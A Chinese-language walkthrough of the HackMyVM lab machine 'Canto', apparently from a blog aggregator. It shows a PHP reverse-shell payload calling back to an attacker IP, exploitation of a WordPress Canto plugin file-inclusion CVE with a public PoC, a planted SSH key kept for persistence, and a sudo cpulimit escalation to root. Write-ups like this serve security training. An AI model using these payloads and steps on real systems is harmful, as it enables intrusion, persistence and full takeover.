当前位置: 首页 > news >正文

Canto - hackmyvm

简介

靶机名称:Canto

难度:简单

靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Canto

本地环境

虚拟机:vitual box

靶场IP(Canto):192.168.130.53

windows_IP:192.168.130.158

kali_IP:192.168.130.166

扫描

nmap起手

nmap -sT -p0- 192.168.130.53 -oA nmapscan/ports ;ports=$(grep open ./nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',');echo $ports >> nmapscan/tcp_ports;
sudo nmap -sT -sV -sC -O -p$ports 192.168.130.53/32 -oA nmapscan/detail
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-01 05:55 EDT
Nmap scan report for canto.lan (192.168.130.53)
Host is up (0.00084s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c6:af:18:21:fa:3f:3c:fc:9f:e4:ef:04:c9:16:cb:c7 (ECDSA)
|_  256 ba:0e:8f:0b:24:20:dc:75:b7:1b:04:a1:81:b6:6d:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Ubuntu))
|_http-generator: WordPress 6.5.3
|_http-server-header: Apache/2.4.57 (Ubuntu)
|_http-title: Canto
MAC Address: 08:00:27:73:D7:34 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.95 seconds

HTTP

框架是wordpress,直接wpscan先试试

wpscan --url http://192.168.130.53/ --plugins-detection aggressive -e u,ap --api-token=Vjt...
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.25Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://192.168.130.53/ [192.168.130.53]
[+] Started: Thu Aug  1 09:23:25 2024Interesting Finding(s):[+] Headers| Interesting Entry: Server: Apache/2.4.57 (Ubuntu)| Found By: Headers (Passive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.130.53/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.130.53/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] Upload directory has listing enabled: http://192.168.130.53/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.130.53/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299Fingerprinting the version - Time: 00:00:02 <==========> (702 / 702) 100.00% Time: 00:00:02
[i] The WordPress version could not be detected.[+] WordPress theme in use: twentytwentyfour| Location: http://192.168.130.53/wp-content/themes/twentytwentyfour/| Last Updated: 2024-07-16T00:00:00.000Z| Readme: http://192.168.130.53/wp-content/themes/twentytwentyfour/readme.txt| [!] The version is out of date, the latest version is 1.2| [!] Directory listing is enabled| Style URL: http://192.168.130.53/wp-content/themes/twentytwentyfour/style.css| Style Name: Twenty Twenty-Four| Style URI: https://wordpress.org/themes/twentytwentyfour/| Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...| Author: the WordPress team| Author URI: https://wordpress.org|| Found By: Urls In Homepage (Passive Detection)|| Version: 1.1 (80% confidence)| Found By: Style (Passive Detection)|  - http://192.168.130.53/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'[+] Enumerating All Plugins (via Aggressive Methods)Checking Known Locations - Time: 00:01:04 <=====> (106191 / 106191) 100.00% Time: 00:01:04
[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:[+] akismet| Location: http://192.168.130.53/wp-content/plugins/akismet/| Last Updated: 2024-07-10T22:16:00.000Z| Readme: http://192.168.130.53/wp-content/plugins/akismet/readme.txt| [!] The version is out of date, the latest version is 5.3.3|| Found By: Known Locations (Aggressive Detection)|  - http://192.168.130.53/wp-content/plugins/akismet/, status: 200|| Version: 5.3.2 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)|  - http://192.168.130.53/wp-content/plugins/akismet/readme.txt| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)|  - http://192.168.130.53/wp-content/plugins/akismet/readme.txt[+] canto| Location: http://192.168.130.53/wp-content/plugins/canto/| Last Updated: 2024-07-17T04:18:00.000Z| Readme: http://192.168.130.53/wp-content/plugins/canto/readme.txt| [!] The version is out of date, the latest version is 3.0.9|| Found By: Known Locations (Aggressive Detection)|  - http://192.168.130.53/wp-content/plugins/canto/, status: 200|| [!] 4 vulnerabilities identified:|| [!] Title: Canto <= 3.0.8 - Unauthenticated Blind SSRF|     References:|      - https://wpscan.com/vulnerability/29c89cc9-ad9f-4086-a762-8896eba031c6|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28976|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28977|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28978|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24063|      - https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0|| [!] Title: Canto < 3.0.5 - Unauthenticated Remote File Inclusion|     Fixed in: 3.0.5|     References:|      - https://wpscan.com/vulnerability/9e2817c7-d4aa-4ed9-a3d7-18f3117ed810|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3452|| [!] Title: Canto < 3.0.7 - Unauthenticated RCE|     Fixed in: 3.0.7|     References:|      - https://wpscan.com/vulnerability/1595af73-6f97-4bc9-9cb2-14a55daaa2d4|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25096|      - https://patchstack.com/database/vulnerability/canto/wordpress-canto-plugin-3-0-6-unauthenticated-remote-code-execution-rce-vulnerability|| [!] Title: Canto < 3.0.9 - Unauthenticated Remote File Inclusion|     Fixed in: 3.0.9|     References:|      - https://wpscan.com/vulnerability/3ea53721-bdf6-4203-b6bc-2565d6283159|      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4936|      - https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338|| Version: 3.0.4 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)|  - http://192.168.130.53/wp-content/plugins/canto/readme.txt| Confirmed By: Composer File (Aggressive Detection)|  - http://192.168.130.53/wp-content/plugins/canto/package.json, Match: '3.0.4'[+] Enumerating Users (via Passive and Aggressive Methods)Brute Forcing Author IDs - Time: 00:00:00 <=============> (10 / 10) 100.00% Time: 00:00:00[i] User(s) Identified:[+] erik| Found By: Rss Generator (Passive Detection)| Confirmed By:|  Wp Json Api (Aggressive Detection)|   - http://192.168.130.53/index.php/wp-json/wp/v2/users/?per_page=100&page=1|  Author Id Brute Forcing - Author Pattern (Aggressive Detection)|  Login Error Messages (Aggressive Detection)[+] WPScan DB API OK| Plan: free| Requests Done (during the scan): 3| Requests Remaining: 21

可以看到canto插件有漏洞,searchsplolit找一下

image-20240801204116194

那就没什么好说的了,直接打poc

CVE-2023-3452

https://github.com/leoanggal1/CVE-2023-3452-PoC

先准备一个反弹shell的php文件

<?php system("bash -c 'sh -i >& /dev/tcp/192.168.130.166/40000 0>&1'");?> 

然后起个监听

 rlwrap -cAr nc -lvvp 40000

最后poc打过去就好了

python3 CVE-2023-3452.py -u http://192.168.130.53 -LHOST 192.168.130.166  -s ./shell.php

image-20240801205141227

提权

备份

/var/wordpress/backups路径下找到账密备份文件

image-20240801205423946

www-data@canto:/var/wordpress/backups$ su erik
su erik
Password: th1sIsTheP3ssw0rd!erik@canto:/var/wordpress/backups$ cd
cd
erik@canto:~$ ls
ls
notes  user.txt
erik@canto:~$ id
id
uid=1001(erik) gid=1001(erik) groups=1001(erik)

提权成功,拿到user.txt

顺手把公钥传上去维权

erik@canto:~$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
...
erik@canto:~/.ssh$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5sWbMpzoFOhxwVIjKUYvvMce5kR6XSmnTp7u2TlCmW kali@kali" > authorized_keys

sudo提权

sudo -l查看权限

erik@canto:/$ sudo -l
Matching Defaults entries for erik on canto:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,use_ptyUser erik may run the following commands on canto:(ALL : ALL) NOPASSWD: /usr/bin/cpulimit

GTFOBINS有一键提权方案

image-20240801210131374

erik@canto:/$ sudo /usr/bin/cpulimit -l 100 -f /bin/bash
Process 3024 detected
root@canto:/# cd
root@canto:~# id
uid=0(root) gid=0(root) groups=0(root)
root@canto:~# ls
root.txt  snap

结束

相关文章:

Canto - hackmyvm

简介 靶机名称&#xff1a;Canto 难度&#xff1a;简单 靶场地址&#xff1a;https://hackmyvm.eu/machines/machine.php?vmCanto 本地环境 虚拟机&#xff1a;vitual box 靶场IP&#xff08;Canto&#xff09;&#xff1a;192.168.130.53 windows_IP&#xff1a;192.1…...

【数据结构进阶】手撕红黑树

&#x1f525;个人主页&#xff1a; Forcible Bug Maker &#x1f525;专栏&#xff1a; C || 数据结构 目录 &#x1f308;前言&#x1f525;红黑树的概念&#x1f525;手撕红黑树红黑树结点的定义红黑树主体需要实现的成员函数红黑树的插入findEmpty和Size拷贝构造析构函数和…...

【C++从小白到大牛】类和对象

目录 一、面向过程和面向对象初步认识 二、类的引入 三、类的定义 类的成员函数两种定义方式&#xff1a; 1. 声明和定义全部放在类体中 2. 类声明放在.h文件中&#xff0c;成员函数定义放在.cpp文件中 成员变量命名规则的建议&#xff1a; 四、类的访问限定符 【访问限…...

Kafka 为什么这么快的七大秘诀,涨知识了

我们都知道 Kafka 是基于磁盘进行存储的&#xff0c;但 Kafka 官方又称其具有高性能、高吞吐、低延时的特点&#xff0c;其吞吐量动辄几十上百万。 在座的靓仔和靓女们是不是有点困惑了&#xff0c;一般认为在磁盘上读写数据是会降低性能的&#xff0c;因为寻址会比较消耗时间。…...

一文解决3D车道线检测:最新单目3D车道线检测综述

前言 场景理解是自动驾驶中极具挑战的任务&#xff0c;尤其是车道检测。车道是道路分割的关键&#xff0c;对车辆安全高效行驶至关重要。车道检测技术能自动识别道路标记&#xff0c;对自动驾驶车辆至关重要&#xff0c;缺乏这项技术可能导致交通问题和事故。车道检测面临多种…...

稳中向好,今年新招6000人

团子校招 近日&#xff0c;美团宣布开启面向 2025 届的校园招聘&#xff0c;招聘规模达 6000 人。 虽然相比京东&#xff08;宣布招聘 16000 人&#xff09;稍有逊色&#xff0c;但 6000 这个校招规模可一点不少。 要知道&#xff0c;京东是重自营的传统电商&#xff0c;16000 …...

使用kettle开源工具进行跨库数据同步

数据库同步可以用&#xff1a; 1、Navicat 2、Kettle 3、自己写代码 调用码神工具跨库数据同步 -连接 4、其它 实现 这里使用Kettle来同步&#xff0c;主要是开源的&#xff0c;通过配置就可以实现了 Kettle的图形化界面&#xff08;Spoon&#xff09;安装参考方法 ht…...

Golang | Leetcode Golang题解之第307题区域和检索-数组可修改

题目&#xff1a; 题解&#xff1a; type NumArray struct {nums, tree []int }func Constructor(nums []int) NumArray {tree : make([]int, len(nums)1)na : NumArray{nums, tree}for i, num : range nums {na.add(i1, num)}return na }func (na *NumArray) add(index, val …...

Golang | Leetcode Golang题解之第301题删除无效的括号

题目&#xff1a; 题解&#xff1a; func checkValid(str string, lmask, rmask int, left, right []int) bool {cnt : 0pos1, pos2 : 0, 0for i : range str {if pos1 < len(left) && i left[pos1] {if lmask>>pos1&1 0 {cnt}pos1} else if pos2 <…...

【Story】《程序员面试的“八股文”辩论:技术基础与实际能力的博弈》

目录 程序员面试中的“八股文”&#xff1a;助力还是阻力&#xff1f;1. “八股文”的背景与定义1.1 “八股文”的起源1.2 “八股文”的常见类型 2. “八股文”的作用分析2.1 理论基础的评价2.1.1 助力2.1.2 阻力 3. 实际工作能力的考察3.1 助力3.2 阻力 4. 面试中的背题能力4.…...

初步了解泛型

目录 泛型的引入 泛型 泛型 泛型类 泛型的上界 泛型的引入 之前学习的数组里面是存放着整型或者自字符串中一种的数组&#xff0c;如果想要在一个数组里面放多种类型数据&#xff0c;我们该怎么去做呢&#xff1f;Object类或许是一个好的解决方法&#xff0c;因为Object类…...

【C#】.net core 6.0 webapi 使用core版本的NPOI的Excel读取数据以及保存数据

欢迎来到《小5讲堂》 这是《C#》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。 温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01; 目录 背景读取并保存NPOI信息NPOI 插件介绍基本功能示例代码写入 Excel 文件…...

C++推荐的oj网站

洛谷 信息学奥赛一本通 C语言网 codeforces 杭电oj...

springmvc处理http请求的底层逻辑

http-nio-8088-Poller线程中在org.apache.tomcat.util.net.NioEndpoint.Poller#run这个函数里循环检测selector&#xff0c;若发现有SocketEvent.OPEN_READ事件则会将SelectionKey.attachment中的内容作为入参包装成runable&#xff0c;然后由org.apache.tomcat.util.threads.T…...

干货满满,从零到一:编程小白如何在大学成为编程大神?

✨✨ 欢迎大家来访Srlua的博文&#xff08;づ&#xffe3;3&#xffe3;&#xff09;づ╭❤&#xff5e;✨✨ &#x1f31f;&#x1f31f; 欢迎各位亲爱的读者&#xff0c;感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢&#xff0c;在这里我会分享我的知识和经验。&am…...

前端-如何通过docker打包Vue服务成镜像并在本地运行(本地可以通过http://localhost:8080/访问前端服务)

1、下载安装docker&#xff0c;最好在vs code里安装docker的插件。 下载链接&#xff1a;https://www.docker.com/products/docker-desktop &#x1f389; Docker 简介和安装 - Docker 快速入门 - 易文档 (easydoc.net) 2、准备配置文件-dockerfile文件和nginx.conf文件 do…...

零基础学习【Mybatis】这一篇就够了

Mybatis 查询resultType使用resultMap使用单条件查询多条件查询模糊查询返回主键 动态SQLifchoosesetforeachsql片段 配置文件注解增删改查结果映射 查询 resultType使用 当数据库返回的结果集中的字段和实体类中的属性名一一对应时, resultType可以自动将结果封装到实体中 r…...

Shell入门(保姆级教学)

Shell是一种命令行解释器&#xff0c;也是一种脚本语言&#xff0c;广泛应用于Unix和类Unix系统中&#xff0c;例如Linux。它是用户与操作系统内核交互的桥梁&#xff0c;通过Shell可以执行系统命令、管理文件系统、处理文本数据等。本文将带你入门Shell编程&#xff0c;涵盖基…...

【JDK11和JDK8并行与切换】

一、JDK11安装 1、下载jdk11&#xff0c;点击.exe安装在&#xff1a;C:\Program Files\Java\jdk-11\ 2、配置JAVA_HOME 变量名为JAVA_HOME 变量值为jdk安装路径 3、配置PATH 找到系统变量里的PATH 双击或者单击后点击编辑 点击右上角的新建 新建两条 %JAVA_HOME%\bin …...

vue大数据量列表渲染性能优化:虚拟滚动原理

前面咱完成了自定义JuanTree组件各种功能的实现。在数据量很大的情况下&#xff0c;我们讲了两种实现方式来提高渲染性能&#xff1a;前端分页和节点数据懒加载。 前端分页小节&#xff1a;Vue3扁平化Tree组件的前端分页实现 节点数据懒加载小节&#xff1a;Element Tree Plu…...

牛逼!119K star,微软开源神器,一款功能超强大的markdown 文档转换工具!

不知道大家跟豆包、DeepSeek、ChatGPT这些AI对话的时候&#xff0c;有没有注意到——AI返回给你的内容&#xff0c;复制到Word、PPT里&#xff0c;前面经常有一堆 #、*、- 这样的符号&#xff1f;很多新手小白看到这些"乱码"就懵了&#xff0c;以为是复制出了问题。其…...

基于Vue 3与UnoCSS构建轻量级个人导航页:从零部署到高级定制

1. 项目概述&#xff1a;一个轻量级、可定制的个人导航页 最近在折腾自己的浏览器主页&#xff0c;厌倦了那些臃肿、广告满天飞的默认页面&#xff0c;也受够了每次都要在书签栏里翻找常用链接。作为一个喜欢把一切工具都“私有化”和“个性化”的开发者&#xff0c;我决定自己…...

电源完整性设计:电容模型、去耦策略与测量验证实战解析

1. 电容与去耦&#xff1a;从概念到实战的深度解析上周我们聊了聊去耦电容在电源完整性设计中的一些基本概念和时机选择&#xff0c;算是开了个头。这周咱们继续深入&#xff0c;把这块硬骨头啃得更透一些。很多工程师&#xff0c;尤其是刚入行的朋友&#xff0c;常常觉得电容选…...

5个维度深度解析:如何实现高性能黑苹果系统的架构设计与优化策略

5个维度深度解析&#xff1a;如何实现高性能黑苹果系统的架构设计与优化策略 【免费下载链接】Hackintosh 国光的黑苹果安装教程&#xff1a;手把手教你配置 OpenCore 项目地址: https://gitcode.com/gh_mirrors/hac/Hackintosh 在传统PC硬件与macOS系统兼容性的技术挑战…...

图解人工智能(12)自动做化学实验的机器

近年来&#xff0c;人工智能和传统科学的结合备受瞩目。2019年&#xff0c;英国利物浦大学在《自然》杂志发表论文&#xff0c;介绍了一种可以自动做化学实验的机器人。查找相关资料&#xff0c;并讨论一下类似的工作能给人类社会带来怎样的变革。首先&#xff0c;实验人员的培…...

星际软件开发:为火星殖民地编写第一批代码

一、引言&#xff1a;当测试左移到大气层之外2041年&#xff0c;第一批火星殖民者即将启程。他们携带的不仅是氧气和速食&#xff0c;还有一座预装在密封舱里的微型数据中心。在这片红色荒漠上&#xff0c;代码将比氧气更早醒来——生命维持系统的控制逻辑、通讯中继的协议栈、…...

基于官方API的WhatsApp AI助手集成:规避封号风险与实战部署指南

1. 项目概述&#xff1a;为你的AI助手开通一个安全的WhatsApp专线 如果你正在使用OpenClaw构建自己的AI助手&#xff0c;并且希望它能通过WhatsApp与用户自然交流&#xff0c;那么你很可能已经研究过各种方案了。市面上常见的方案&#xff0c;比如基于 whatsapp-web.js 或 …...

别再只盯着VGA线了!手把手教你用示波器看懂RGBHV时序图(附绿同步电路分析)

数字示波器实战&#xff1a;解码RGBHV信号与绿同步电路设计全指南 在复古游戏机改造、CRT显示器维修或视频转换板设计的场景中&#xff0c;RGBHV信号的理解与测量往往是硬件工程师和电子爱好者面临的第一道技术门槛。不同于现代数字接口的标准化协议&#xff0c;模拟视频信号时…...

Simulink仿真避坑指南:PWM控制48V直流电机时,轻载和重载下的参数设置与波形分析(附2018a源文件)

Simulink仿真避坑指南&#xff1a;PWM控制48V直流电机时&#xff0c;轻载和重载下的参数设置与波形分析 在工程实践中&#xff0c;直流电机的仿真建模是验证控制算法和预测系统性能的关键环节。特别是当面对不同负载条件时&#xff0c;如何准确设置电机参数并解读仿真波形&…...

2026年医疗卫生/护理求职AI工具横评:白衣天使的求职神器大比拼

导语 2026年&#xff0c;医疗卫生行业依然是最具社会价值和就业稳定性的行业之一。随着中国老龄化加速&#xff0c;医护人员需求持续扩大&#xff0c;仅公立医院护士岗位需求量就突破200万。然而&#xff0c;医护求职并不轻松&#xff1a;编制紧张、规培政策复杂、职称考试压力…...